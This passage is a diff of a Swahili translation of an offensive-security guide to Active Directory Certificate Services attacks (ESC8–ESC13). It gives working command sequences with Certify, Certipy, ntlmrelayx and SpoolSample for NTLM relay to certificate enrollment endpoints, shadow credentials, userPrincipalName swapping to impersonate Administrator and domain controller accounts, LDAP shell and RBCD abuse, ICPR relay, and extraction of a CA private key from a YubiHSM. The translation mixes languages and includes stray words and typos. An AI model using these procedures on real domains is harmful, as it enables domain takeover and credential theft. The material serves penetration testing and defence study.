inaweza kutumika kwa privilege escalation kamili au persistence ya muda mrefu, bila kugusa usanidi wa CA au kuhitaji haki kali ya *Manage CA*. -#### Abusing the primitive with Certify 2.0 +#### Kutumia primitive kwa udanganyifu na Certify 2.0 -1. **Tuma ombi la cheti ambalo litabaki *likiwa linangojea*.** Hii inaweza kulazimishwa kwa template inayohitaji idhini ya meneja: +1. **Wasilisha ombi la cheti ambalo litaendelea kuwa *pending*.** Hii inaweza kufanywa kwa template inayohitaji idhini ya meneja: ```powershell Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval -# Kumbuka ID ya Ombi iliyorejeshwa +# Take note of the returned Request ID ``` -2. **Ongeza nyongeza ya kawaida kwa ombi linalosubiri** kwa kutumia amri mpya ya `manage-ca`: +2. **Ongeza extension maalum kwenye ombi linalosubiri** ukitumia amri mpya ya `manage-ca`: ```powershell Certify.exe manage-ca --ca SERVER\\CA-NAME \ --request-id 1337 \ ---set-extension "1.1.1.1=DER,10,01 01 00 00" # OID ya sera ya utoaji wa uwongo +--set-extension "1.1.1.1=DER,10,01 01 00 00" # fake issuance-policy OID ``` -*Ikiwa template haijabainisha tayari nyongeza ya *Certificate Issuance Policies*, thamani iliyo juu itahifadhiwa baada ya utoaji.* +*If the template does not already define the *Certificate Issuance Policies* extension, the value above will be preserved after issuance.* -3. **Toa ombi hilo** (ikiwa jukumu lako pia lina haki za idhini za *Manage Certificates*) au subiri kwa opereta ili kuidhinisha. Mara baada ya kutolewa, pakua cheti: +3. **Toza ombi** (kama jukumu lako pia lina haki za idhini za *Manage Certificates*) au subiri operator kuuliidhinisha. Mara itakapotolewa, pakua cheti: ```powershell Certify.exe request-download --ca SERVER\\CA-NAME --id 1337 ``` -4. Cheti kinachotokana sasa kinajumuisha OID ya sera ya utoaji wa uhalifu na kinaweza kutumika katika mashambulizi yajayo (kwa mfano ESC13, kupandishwa vyeo, n.k.). +4. Cheti kilichopatikana sasa kina malicious issuance-policy OID na kinaweza kutumika katika mashambulio yanayofuata (mfano ESC13, domain escalation, nk). -> NOTE: Shambulizi sawa linaweza kutekelezwa na Certipy ≥ 4.7 kupitia amri ya `ca` na parameter ya `-set-extension`. +Kumbuka: Shambulio sawa linaweza kutekelezwa na Certipy ≥ 4.7 kupitia amri ya `ca` na parameter `-set-extension`. -## NTLM Relay to AD CS HTTP Endpoints – ESC8 +## NTLM Relay kwa AD CS HTTP Endpoints – ESC8 -### Explanation +### Maelezo > [!TIP] -> Katika mazingira ambapo **AD CS imewekwa**, ikiwa kuna **kiungo cha kujiandikisha mtandaoni kilichokuwa na udhaifu** na angalau template moja ya **cheti imechapishwa** inayoruhusu **kujiandikisha kwa kompyuta za kikoa na uthibitishaji wa mteja** (kama template ya kawaida **`Machine`**), inakuwa inawezekana kwa **kompyuta yoyote yenye huduma ya spooler inayofanya kazi kuathiriwa na mshambuliaji**! +> Katika mazingira ambapo **AD CS imewekwa**, ikiwa kuna **web enrollment endpoint iliyo hatarini** na angalau moja **certificate template imechapishwa** inayoruhusu **domain computer enrollment and client authentication** (kama template ya default **`Machine`**), inawezekana kwa **kompyuta yoyote yenye spooler service ikifanya kazi kuathiriwa na mshambuliaji**! -Mbinu kadhaa za **kujiandikisha zinazotumia HTTP** zinasaidiwa na AD CS, zinazopatikana kupitia majukumu ya ziada ya seva ambayo wasimamizi wanaweza kuweka. Interfaces hizi za kujiandikisha cheti zinazotumia HTTP zinahatarishwa kwa **shambulizi za NTLM relay**. Mshambuliaji, kutoka kwa **kompyuta iliyoharibiwa, anaweza kujifanya kuwa akaunti yoyote ya AD inayothibitishwa kupitia NTLM ya ndani**. Wakati akijifanya kuwa akaunti ya mwathirika, interfaces hizi za wavuti zinaweza kufikiwa na mshambuliaji ili **kuomba cheti cha uthibitishaji wa mteja kwa kutumia template za cheti za `User` au `Machine`**. +Njia kadhaa za **HTTP-based enrollment methods** zinatambuliwa na AD CS, zinazoletwa kupitia server roles za ziada ambazo wasimamizi wanaweza kusanidi. Interfaces hizi za HTTP-based certificate enrollment zinaweza kuathiriwa na **NTLM relay attacks**. Mshambuliaji kutoka kwenye **kompyuta iliyodukuliwa, anaweza kujifanya kama akaunti yoyote ya AD inayothibitishwa kupitia inbound NTLM**. Akijifanya kuwa akaunti ya mwathiriwa, interface hizi za wavuti zinaweza kufikiwa na mshambuliaji kuomba cheti cha client authentication kwa kutumia `User` au `Machine` certificate templates. -- **Interface ya kujiandikisha mtandaoni** (programu ya zamani ya ASP inayopatikana kwenye `http:///certsrv/`), inategemea HTTP pekee, ambayo haina ulinzi dhidi ya shambulizi za NTLM relay. Zaidi ya hayo, inaruhusu tu uthibitishaji wa NTLM kupitia kichwa chake cha HTTP cha Uidhinishaji, na kufanya mbinu za uthibitishaji salama zaidi kama Kerberos zisifae. -- **Huduma ya Uandikishaji wa Cheti** (CES), **Sera ya Uandikishaji wa Cheti** (CEP) Web Service, na **Huduma ya Uandikishaji wa Vifaa vya Mtandao** (NDES) kwa kawaida zinasaidia uthibitishaji wa negotiate kupitia kichwa chao cha HTTP cha Uidhinishaji. Uthibitishaji wa negotiate **unasaidia wote** Kerberos na **NTLM**, ikimruhusu mshambuliaji **kushuka hadi uthibitishaji wa NTLM** wakati wa shambulizi za relay. Ingawa huduma hizi za wavuti zinawezesha HTTPS kwa kawaida, HTTPS pekee **haiwezi kulinda dhidi ya shambulizi za NTLM relay**. Ulinzi dhidi ya shambulizi za NTLM relay kwa huduma za HTTPS unaweza kupatikana tu wakati HTTPS inachanganywa na uhusiano wa channel. Kwa bahati mbaya, AD CS haizindui Ulinzi wa Kupanuliwa kwa Uthibitishaji kwenye IIS, ambayo inahitajika kwa uhusiano wa channel. +- The **web enrollment interface** (programu ya zamani ya ASP inayopatikana kwenye `http:///certsrv/`), kwa kawaida inatumia tu HTTP, ambayo haitoleti ulinzi dhidi ya NTLM relay attacks. Zaidi ya hayo, inaruhusu wazi tu NTLM kupitia Authorization HTTP header, ikifanya njia za uthibitishaji salama zaidi kama Kerberos zisifae. +- The **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service, na **Network Device Enrollment Service** (NDES) kwa kawaida zinasaidia negotiate authentication kupitia Authorization HTTP header zao. Negotiate authentication **inaunga mkono** Kerberos na **NTLM**, na kuruhusu mshambuliaji **kubana hadi NTLM** wakati wa relay attacks. Ingawa web services hizi zinawezeshwa HTTPS kwa chaguo-msingi, HTTPS peke yake **haitaiweka kinga dhidi ya NTLM relay attacks**. Ulinzi dhidi ya NTLM relay kwa huduma za HTTPS unapatikana csak wakati HTTPS inachanganywa na channel binding. Kwa bahati mbaya, AD CS haitumiwi Extended Protection for Authentication kwenye IIS, ambayo inahitajika kwa channel binding. -Tatizo la kawaida na shambulizi za NTLM relay ni **muda mfupi wa vikao vya NTLM** na kutokuweza kwa mshambuliaji kuingiliana na huduma zinazohitaji **saini ya NTLM**. - -Hata hivyo, kizuizi hiki kinashindwa kwa kutumia shambulizi la NTLM relay kupata cheti kwa mtumiaji, kwani kipindi cha uhalali wa cheti kinabainisha muda wa kikao, na cheti kinaweza kutumika na huduma zinazohitaji **saini ya NTLM**. Kwa maelekezo juu ya kutumia cheti kilichoporwa, rejelea: +Tatizo la kawaida na NTLM relay attacks ni **muda mfupi wa vikao vya NTLM** na kutokuwa na uwezo wa mshambuliaji kuingiliana na huduma zinazohitaji **NTLM signing**. +Hata hivyo, kizuizi hiki kinaweza kushinda kwa kutumia NTLM relay attack kupata cheti kwa mtumiaji, kwani kipindi cha uhalali cha cheti ndicho kinachoamua muda wa kikao, na cheti kinaweza kutumika na huduma zinazohitaji **NTLM signing**. Kwa maelekezo juu ya kutumia cheti kilichoporwa, rejea: {{#ref}} account-persistence.md {{#endref}} -Kizuizi kingine cha shambulizi za NTLM relay ni kwamba **kompyuta inayodhibitiwa na mshambuliaji lazima ithibitishwe na akaunti ya mwathirika**. Mshambuliaji anaweza kusubiri au kujaribu **kulazimisha** uthibitishaji huu: - +Kizuizi kingine cha NTLM relay attacks ni kwamba **kompyuta inayodhibitiwa na mshambuliaji lazima ithibitishwe nayo na akaunti ya mwathiriwa**. Mshambuliaji anaweza kusubiri au kujaribu **kulazimisha** uthibitisho huu: {{#ref}} ../printers-spooler-service-abuse.md {{#endref}} -### **Abuse** +### **Matumizi mabaya** [**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumerates **enabled HTTP AD CS endpoints**: ``` @@ -395,7 +409,7 @@ Certify.exe cas ```
-Mali ya `msPKI-Enrollment-Servers` yanatumika na Mamlaka ya Vyeti ya biashara (CAs) kuhifadhi mwisho wa Huduma ya Usajili wa Vyeti (CES). Mwisho haya yanaweza kuchambuliwa na kuorodheshwa kwa kutumia chombo **Certutil.exe**: +Propati ya `msPKI-Enrollment-Servers` inatumiwa na Certificate Authorities (CAs) za shirika kuhifadhi endpoints za Certificate Enrollment Service (CES). Endpoints hizi zinaweza kuchambuliwa na kuorodheshwa kwa kutumia chombo **Certutil.exe**: ``` certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA ``` @@ -406,7 +420,7 @@ Get-CertificationAuthority | select Name,Enroll* | Format-List * ```
-#### Unyanyasaji kwa kutumia Certify +#### Kutumia Certify vibaya ```bash ## In the victim machine # Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine @@ -421,11 +435,11 @@ proxychains ntlmrelayx.py -t http:///certsrv/certfnsh.asp -smb2sup # Force authentication from victim to compromised machine with port forwards execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe ``` -#### Abuse with [Certipy](https://github.com/ly4k/Certipy) +#### Matumizi mabaya na [Certipy](https://github.com/ly4k/Certipy) -Ombi la cheti linafanywa na Certipy kwa default kulingana na kigezo `Machine` au `User`, kinachotambulika kwa kuangalia kama jina la akaunti inayopitishwa linaishia na `$`. Mwelekeo wa kigezo mbadala unaweza kupatikana kupitia matumizi ya parameter `-template`. +Ombi la cheti linafanywa na Certipy kwa chaguo-msingi kulingana na template `Machine` au `User`, ambalo linaamuliwa na ikiwa jina la akaunti linalohamishwa linaisha kwa `$`. Uainishaji wa template mbadala unaweza kufanywa kwa kutumia parameter `-template`. -Teknolojia kama [PetitPotam](https://github.com/ly4k/PetitPotam) inaweza kisha kutumika kulazimisha uthibitishaji. Wakati wa kushughulika na wasimamizi wa kikoa, mwelekeo wa `-template DomainController` unahitajika. +Mbinu kama [PetitPotam](https://github.com/ly4k/PetitPotam) inaweza kisha kutumika kulazimisha uthibitishaji. Unaposhughulika na wadhibiti wa domain, uainishaji wa `-template DomainController` unahitajika. ```bash certipy relay -ca ca.corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -438,127 +452,127 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` -## No Security Extension - ESC9 +## Hakuna Kiongezi cha Usalama - ESC9 ### Maelezo -Thamani mpya **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) kwa **`msPKI-Enrollment-Flag`**, inayojulikana kama ESC9, inazuia kuingizwa kwa **nyongeza ya usalama mpya `szOID_NTDS_CA_SECURITY_EXT`** katika cheti. Bendera hii inakuwa muhimu wakati `StrongCertificateBindingEnforcement` imewekwa kuwa `1` (mipangilio ya kawaida), ambayo inapingana na mipangilio ya `2`. Umuhimu wake unazidi kuongezeka katika hali ambapo ramani dhaifu ya cheti kwa Kerberos au Schannel inaweza kutumika (kama katika ESC10), ikizingatiwa kwamba ukosefu wa ESC9 hauwezi kubadilisha mahitaji. +Thamani mpya **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) kwa **`msPKI-Enrollment-Flag`**, inayoitwaje ESC9, inazuia kuingizwa kwa **ongezo jipya la usalama `szOID_NTDS_CA_SECURITY_EXT`** kwenye cheti. Bendera hii inakuwa muhimu wakati `StrongCertificateBindingEnforcement` imewekwa kuwa `1` (usanidi wa chaguo-msingi), tofauti na usanidi wa `2`. Umuhimu wake unaongezeka katika matukio ambapo ramani dhaifu ya cheti kwa Kerberos au Schannel inaweza kutumiwa vibaya (kama ilivyo kwa ESC10), kwani kukosekana kwa ESC9 hakutabadilisha mahitaji. -Masharti ambayo mipangilio ya bendera hii inakuwa muhimu ni pamoja na: +Masharti yanayofanya usanidi wa bendera hii kuwa muhimu ni pamoja na: -- `StrongCertificateBindingEnforcement` haijarekebishwa kuwa `2` (ikiwa mipangilio ya kawaida ni `1`), au `CertificateMappingMethods` inajumuisha bendera ya `UPN`. -- Cheti kimewekwa alama na bendera ya `CT_FLAG_NO_SECURITY_EXTENSION` ndani ya mipangilio ya `msPKI-Enrollment-Flag`. -- EKU yoyote ya uthibitishaji wa mteja imeainishwa na cheti. -- Ruhusa za `GenericWrite` zinapatikana juu ya akaunti yoyote ili kuathiri nyingine. +- `StrongCertificateBindingEnforcement` haijorekebishwa kuwa `2` (ikiwa chaguo-msingi ni `1`), au `CertificateMappingMethods` inaongeza bendera ya `UPN`. +- Cheti kimewekwa alama na bendera ya `CT_FLAG_NO_SECURITY_EXTENSION` ndani ya usanidi wa `msPKI-Enrollment-Flag`. +- EKU yoyote ya uthibitisho wa mteja imeteuliwa kwenye cheti. +- Ruhusa za `GenericWrite` zinapatikana juu ya akaunti yoyote ili kuharibu nyingine. -### Hali ya Kunyanyaswa +### Mfano wa Matumizi Mabaya -Fikiria `John@corp.local` ana ruhusa za `GenericWrite` juu ya `Jane@corp.local`, kwa lengo la kuathiri `Administrator@corp.local`. Kigezo cha cheti cha `ESC9`, ambacho `Jane@corp.local` inaruhusiwa kujiandikisha, kimewekwa na bendera ya `CT_FLAG_NO_SECURITY_EXTENSION` katika mipangilio yake ya `msPKI-Enrollment-Flag`. +Tuseme `John@corp.local` ana ruhusa za `GenericWrite` juu ya `Jane@corp.local`, akiwa na lengo la kumdhibiti `Administrator@corp.local`. Kiolezo cha cheti cha `ESC9`, ambacho `Jane@corp.local` ameruhusiwa kujiandikisha nacho, kimewekwa na bendera ya `CT_FLAG_NO_SECURITY_EXTENSION` katika usanidi wake wa `msPKI-Enrollment-Flag`. -Kwanza, hash ya `Jane` inapatikana kwa kutumia Shadow Credentials, shukrani kwa `GenericWrite` ya `John`: +Mwanzo, hash ya `Jane` inapatikana kwa kutumia Shadow Credentials, kwa sababu ya `GenericWrite` ya `John`: ```bash certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane ``` -Kwa hivyo, `Jane`'s `userPrincipalName` inabadilishwa kuwa `Administrator`, ikikusudia kuacha sehemu ya kikoa `@corp.local`: +Baadaye, `userPrincipalName` ya `Jane` imebadilishwa kuwa `Administrator`, kwa makusudi ikiacha sehemu ya kikoa `@corp.local`: ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -Hii marekebisho hayakiuka vikwazo, kwa kuwa `Administrator@corp.local` inabaki kuwa tofauti kama `userPrincipalName` wa `Administrator`. +Marekebisho haya hayivunji vikwazo, kwa kuwa `Administrator@corp.local` bado ni tofauti kama `userPrincipalName` ya Administrator. -Baada ya hii, kiolezo cha cheti `ESC9`, kilichotajwa kuwa na udhaifu, kinahitajika kama `Jane`: +Baada ya hayo, kiolezo cha cheti `ESC9`, kilichotajwa kama dhaifu, kimeombwa kama `Jane`: ```bash certipy req -username jane@corp.local -hashes -ca corp-DC-CA -template ESC9 ``` -Imepangwa kwamba `userPrincipalName` wa cheti unadhihirisha `Administrator`, bila “object SID” yoyote. +Imebainika kuwa `userPrincipalName` ya cheti inaonyesha `Administrator`, bila kuwa na “object SID” yoyote. -`Jane`'s `userPrincipalName` kisha inarudishwa kwa yake ya awali, `Jane@corp.local`: +`userPrincipalName` ya `Jane` kisha inarudishwa kwa asili yake, `Jane@corp.local`: ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -Kujaribu uthibitishaji na cheti kilichotolewa sasa kunatoa NT hash ya `Administrator@corp.local`. Amri lazima ijumuisha `-domain ` kutokana na ukosefu wa maelezo ya kikoa katika cheti: +Kujaribu uthibitisho kwa kutumia cheti kilichotolewa sasa kunatoa NT hash ya `Administrator@corp.local`. Amri lazima ijumlishe `-domain ` kutokana na cheti kukosa uainishaji wa domain: ```bash certipy auth -pfx adminitrator.pfx -domain corp.local ``` -## Mifumo ya Cheti Dhaifu - ESC10 +## Ramani Dhaifu za Vyeti - ESC10 ### Maelezo -Thamani mbili za funguo za rejista kwenye kidhibiti cha eneo zinarejelewa na ESC10: +Thamani mbili za registry kwenye domain controller zinatajwa na ESC10: -- Thamani ya default kwa `CertificateMappingMethods` chini ya `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` ni `0x18` (`0x8 | 0x10`), hapo awali ilikua `0x1F`. -- Mpangilio wa default kwa `StrongCertificateBindingEnforcement` chini ya `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` ni `1`, hapo awali `0`. +- Thamani ya chaguo-msingi ya `CertificateMappingMethods` under `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` ni `0x18` (`0x8 | 0x10`), hapo awali ilipangwa kuwa `0x1F`. +- Mipangilio ya chaguo-msingi ya `StrongCertificateBindingEnforcement` under `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` ni `1`, hapo awali `0`. -**Kesi ya 1** +### Kesi 1 -Wakati `StrongCertificateBindingEnforcement` imewekwa kama `0`. +Wakati `StrongCertificateBindingEnforcement` imewekwa kuwa `0`. -**Kesi ya 2** +### Kesi 2 Ikiwa `CertificateMappingMethods` inajumuisha bit ya `UPN` (`0x4`). -### Kesi ya Kunyanyaswa 1 +### Mfano wa Unyonyaji 1 -Pamoja na `StrongCertificateBindingEnforcement` iliyowekwa kama `0`, akaunti A yenye ruhusa za `GenericWrite` inaweza kutumika kuathiri akaunti yoyote B. +Wakati `StrongCertificateBindingEnforcement` imewekwa kuwa `0`, akaunti A yenye ruhusa za `GenericWrite` inaweza kutumiwa kuweka hatarini akaunti yoyote B. -Kwa mfano, ikiwa na ruhusa za `GenericWrite` juu ya `Jane@corp.local`, mshambuliaji anaimarisha kuathiri `Administrator@corp.local`. Utaratibu unafanana na ESC9, ukiruhusu kutumia kiolezo chochote cha cheti. +Kwa mfano, kwa kuwa na ruhusa za `GenericWrite` juu ya `Jane@corp.local`, mdukuaji analenga kuharibu `Administrator@corp.local`. Taratibu zinafanana na ESC9, zikiruhusu kutumia template yoyote ya certificate. -Kwanza, hash ya `Jane` inapatikana kwa kutumia Shadow Credentials, ikitumia `GenericWrite`. +Hapo mwanzoni, hash ya `Jane` inapatikana kwa kutumia Shadow Credentials, ikitumia ruhusa za `GenericWrite`. ```bash certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane ``` -Kisha, `Jane`'s `userPrincipalName` inabadilishwa kuwa `Administrator`, kwa makusudi ikiacha sehemu ya `@corp.local` ili kuepuka ukiukaji wa kizuizi. +Baadaye, `userPrincipalName` ya `Jane` imebadilishwa kuwa `Administrator`, kwa makusudi kuondoa sehemu ya `@corp.local` ili kuepuka uvunjaji wa vigezo. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -Kufuata hili, cheti kinachowezesha uthibitishaji wa mteja kinahitajika kama `Jane`, kwa kutumia kigezo cha `User` kilichowekwa kuwa chaguo-msingi. +Baada ya hili, cheti kinachowezesha uthibitishaji wa mteja kinaombwa kwa jina la `Jane`, kwa kutumia kiolezo cha chaguo-msingi `User`. ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -`Jane`'s `userPrincipalName` inarudishwa kwa asili yake, `Jane@corp.local`. +Kisha `userPrincipalName` ya `Jane` inarudishwa kwenye hali yake ya awali, `Jane@corp.local`. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -Kuthibitisha na cheti kilichopatikana kutatoa hash ya NT ya `Administrator@corp.local`, ikihitaji kuweka jina la eneo katika amri kutokana na ukosefu wa maelezo ya eneo katika cheti. +Kuthibitisha kwa cheti kilichopatikana kutatoa NT hash ya `Administrator@corp.local`, hivyo kunahitajika kubainisha domain kwenye amri kutokana na ukosefu wa taarifa za domain kwenye cheti. ```bash certipy auth -pfx administrator.pfx -domain corp.local ``` -### Abuse Case 2 +### Kesi ya Matumizi Mabaya 2 -Ikiwa `CertificateMappingMethods` ina bendera ya `UPN` (`0x4`), akaunti A yenye ruhusa za `GenericWrite` inaweza kuathiri akaunti yoyote B isiyo na mali ya `userPrincipalName`, ikiwa ni pamoja na akaunti za mashine na msimamizi wa ndani wa domain `Administrator`. +Kwa kuwa `CertificateMappingMethods` ina `UPN` bit flag (`0x4`), akaunti A yenye ruhusa za `GenericWrite` inaweza compromise akaunti yoyote B isiyokuwa na mali ya `userPrincipalName`, ikiwemo machine accounts na built-in domain administrator `Administrator`. -Hapa, lengo ni kuathiri `DC$@corp.local`, kuanzia na kupata hash ya `Jane` kupitia Shadow Credentials, ikitumia `GenericWrite`. +Hapa, lengo ni compromise `DC$@corp.local`, kuanzia kwa kupata hash ya `Jane` kupitia Shadow Credentials, kwa kutumia `GenericWrite`. ```bash certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane ``` -`Jane`'s `userPrincipalName` kisha inawekwa kuwa `DC$@corp.local`. +`userPrincipalName` ya `Jane` kisha imewekwa kuwa `DC$@corp.local`. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local' ``` -Cheti cha uthibitishaji wa mteja kinahitajika kama `Jane` kwa kutumia kigezo cha kawaida `User`. +Cheti cha uthibitishaji wa mteja kimeombwa kama `Jane` kwa kutumia kiolezo chaguo-msingi cha `User`. ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -`Jane`'s `userPrincipalName` inarudi kwenye hali yake ya awali baada ya mchakato huu. +`userPrincipalName` ya `Jane` inarudishwa kwenye thamani yake ya asili baada ya mchakato huu. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local' ``` -Ili kuthibitisha kupitia Schannel, chaguo la `-ldap-shell` la Certipy linatumika, likionyesha mafanikio ya uthibitishaji kama `u:CORP\DC$`. +Ili kuthibitisha kupitia Schannel, chaguo `-ldap-shell` la Certipy linatumiwa, likionyesha mafanikio ya uthibitishaji kama `u:CORP\DC$`. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -Kupitia shell ya LDAP, amri kama `set_rbcd` zinawezesha mashambulizi ya Resource-Based Constrained Delegation (RBCD), ambayo yanaweza kuhatarisha kidhibiti cha eneo. +Kupitia LDAP shell, amri kama `set_rbcd` zinaweza kuwezesha Resource-Based Constrained Delegation (RBCD) attacks, na zinaweza kuhatarisha domain controller. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -Hali hii ya usalama pia inahusisha akaunti yoyote ya mtumiaji isiyo na `userPrincipalName` au ambapo haifanani na `sAMAccountName`, huku `Administrator@corp.local` ikiwa lengo kuu kutokana na haki zake za juu za LDAP na ukosefu wa `userPrincipalName` kwa kawaida. +Udhaifu huu pia unahusisha akaunti yoyote ya mtumiaji isiyo na `userPrincipalName` au ambapo haifananishi na `sAMAccountName`. Akaunti ya chaguo-msingi `Administrator@corp.local` ni lengo kuu kutokana na vibali vyake vilivyoongezeka vya LDAP na ukosefu wa `userPrincipalName` kwa chaguo-msingi. ## Relaying NTLM to ICPR - ESC11 -### Maelezo +### Explanation -Ikiwa CA Server haijasanidiwa na `IF_ENFORCEENCRYPTICERTREQUEST`, inaweza kufanya mashambulizi ya NTLM relay bila kusaini kupitia huduma ya RPC. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). +Ikiwa CA Server haijasanidiwa na `IF_ENFORCEENCRYPTICERTREQUEST`, inaweza kuruhusu NTLM relay attacks bila kusaini kupitia RPC service. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). -Unaweza kutumia `certipy` kuorodhesha ikiwa `Enforce Encryption for Requests` imezimwa na certipy itaonyesha `ESC11` Vulnerabilities. +Unaweza kutumia `certipy` kugundua ikiwa `Enforce Encryption for Requests` imezimwa na certipy itaonyesha udhaifu wa `ESC11`. ```bash $ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -575,9 +589,9 @@ Enforce Encryption for Requests : Disabled ESC11 : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue ``` -### Abuse Scenario +### Senario ya Matumizi Mabaya -Inahitajika kuweka seva ya relay: +Inahitaji kusanidi relay server: ```bash $ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100 Certipy v4.7.0 - by Oliver Lyak (ly4k) @@ -596,9 +610,9 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k) [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` -Kumbuka: Kwa waangalizi wa kikoa, lazima tuweke `-template` katika DomainController. +Kumbuka: Kwa domain controllers, lazima taja `-template` katika DomainController. -Au kutumia [sploutchy's fork of impacket](https://github.com/sploutchy/impacket): +Au tumia [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) : ```bash $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support ``` @@ -606,19 +620,19 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s ### Explanation -Wasimamizi wanaweza kuanzisha Mamlaka ya Cheti ili kuihifadhi kwenye kifaa cha nje kama "Yubico YubiHSM2". +Wasimamizi wanaweza kusanidi Certificate Authority ili kuihifadhi kwenye kifaa cha nje kama "Yubico YubiHSM2". -Ikiwa kifaa cha USB kimeunganishwa kwenye seva ya CA kupitia bandari ya USB, au seva ya kifaa cha USB katika kesi ambapo seva ya CA ni mashine ya virtual, funguo ya uthibitishaji (wakati mwingine inaitwa "nenosiri") inahitajika kwa Mtoa Huduma wa Hifadhi ya Funguo ili kuunda na kutumia funguo katika YubiHSM. +Ikiwa kifaa cha USB kimeunganishwa kwenye server ya CA kupitia bandari ya USB, au kupitia USB device server pale server ya CA ikiwa virtual machine, ufunguo wa uthibitishaji (sometimes referred to as a "password") unahitajika kwa Key Storage Provider ili kuzalisha na kutumia keys ndani ya YubiHSM. -Funguo/hifadhi hii inahifadhiwa katika rejista chini ya `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` kwa maandiko wazi. +Ufunguo/password huu umehifadhiwa kwenye registry chini ya `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` kwa cleartext. Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). ### Abuse Scenario -Ikiwa funguo ya faragha ya CA imehifadhiwa kwenye kifaa halisi cha USB wakati umepata ufikiaji wa shell, inawezekana kurejesha funguo hiyo. +Ikiwa private key ya CA imehifadhiwa kwenye kifaa cha kimwili cha USB na wewe umepata shell access, inawezekana kutrecover key hiyo. -Kwanza, unahitaji kupata cheti cha CA (hiki ni cha umma) na kisha: +Kwanza, unahitaji kupata certificate ya CA (hii ni public) na kisha: ```cmd # import it to the user store with CA certificate $ certutil -addstore -user my @@ -626,17 +640,17 @@ $ certutil -addstore -user my # Associated with the private key in the YubiHSM2 device $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my ``` -Hatimaye, tumia amri ya certutil `-sign` kuunda cheti kipya cha kiholela kwa kutumia cheti cha CA na funguo zake za faragha. +Hatimaye, tumia amri certutil `-sign` kutengeneza cheti kipya chochote kwa kutumia cheti cha CA na funguo lake binafsi. ## OID Group Link Abuse - ESC13 ### Maelezo -Attribute ya `msPKI-Certificate-Policy` inaruhusu sera ya utoaji kuongezwa kwenye kigezo cha cheti. Vitu vya `msPKI-Enterprise-Oid` vinavyohusika na utoaji wa sera vinaweza kupatikana katika Muktadha wa Uwekaji wa Mipangilio (CN=OID,CN=Public Key Services,CN=Services) wa kontena la PKI OID. Sera inaweza kuunganishwa na kundi la AD kwa kutumia attribute ya `msDS-OIDToGroupLink` ya kitu hiki, ikiruhusu mfumo kumruhusu mtumiaji anayeleta cheti kana kwamba yeye ni mwanachama wa kundi hilo. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). +Sifa ya `msPKI-Certificate-Policy` inaruhusu sera ya utoaji kuongezwa kwenye template ya cheti. Vitu vya `msPKI-Enterprise-Oid` vinavyowajibika kwa utoaji wa sera vinaweza kugunduliwa katika Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) ya PKI OID container. Sera inaweza kuunganishwa na AD group kwa kutumia sifa ya kitu hiki `msDS-OIDToGroupLink`, ikiruhusu mfumo kuidhinisha mtumiaji anayeonyesha cheti kana kwamba alikuwa mwanachama wa group. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). -Kwa maneno mengine, wakati mtumiaji ana ruhusa ya kujiandikisha kwa cheti na cheti kinaunganishwa na kundi la OID, mtumiaji anaweza kurithi mamlaka ya kundi hili. +Kwa maneno mengine, mtumiaji akiokuwa na ruhusa ya ku-enroll cheti na cheti hicho kikiwa kimeunganishwa na OID group, mtumiaji anaweza kurithi haki za group hiyo. -Tumia [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) kupata OIDToGroupLink: +Tumia 